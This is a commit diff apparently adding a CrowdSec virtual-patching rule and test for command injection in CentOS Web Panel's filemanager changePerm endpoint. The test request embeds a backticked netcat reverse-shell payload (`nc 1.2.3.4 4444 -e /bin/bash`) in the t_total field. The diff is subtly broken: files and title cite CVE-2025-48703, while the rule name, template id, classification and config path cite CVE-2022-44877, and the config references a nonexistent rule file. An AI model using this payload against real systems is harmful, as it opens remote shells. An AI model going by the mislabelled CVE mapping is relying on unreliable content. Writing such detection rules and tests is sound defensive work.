Add vpatch-CVE-2025-48703 rule and test

.appsec-tests/vpatch-CVE-2025-48703/CVE-2025-48703.yaml

@@ -0,0 +1,21 @@
+## autogenerated on 2025-09-18 17:07:08
+id: CVE-2022-44877
+info:
+  name: CVE-2022-44877
+  author: crowdsec
+  severity: info
+  description: CVE-2022-44877 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        fileName=.bashrc&currentPath=/home/myuser&t_total=`nc 1.2.3.4 4444 -e /bin/bash`
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2025-48703/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2025-09-18 17:07:08
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml
+nuclei_template: CVE-2022-44877.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2025-48703.yaml

@@ -0,0 +1,35 @@
+## autogenerated on 2025-09-18 17:07:08
+name: crowdsecurity/vpatch-CVE-2022-44877
+description: 'Detects command injection attempts in CWP (CentOS Web Panel) filemanager changePerm endpoint via t_total parameter.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: /filemanager&acc=changeperm
+      - zones:
+          - ARGS
+        variables:
+          - t_total
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: '`'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'CWP - RCE'
+  classification:
+    - cve.CVE-2022-44877
+    - attack.T1190
+    - cwe.CWE-77

collections/crowdsecurity/appsec-virtual-patching.yaml

@@ -90,6 +90,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2024-27292
 - crowdsecurity/vpatch-CVE-2025-24893
 - crowdsecurity/vpatch-CVE-2021-43798
+- crowdsecurity/vpatch-CVE-2025-48703
 author: crowdsecurity
 contexts:
 - crowdsecurity/appsec_base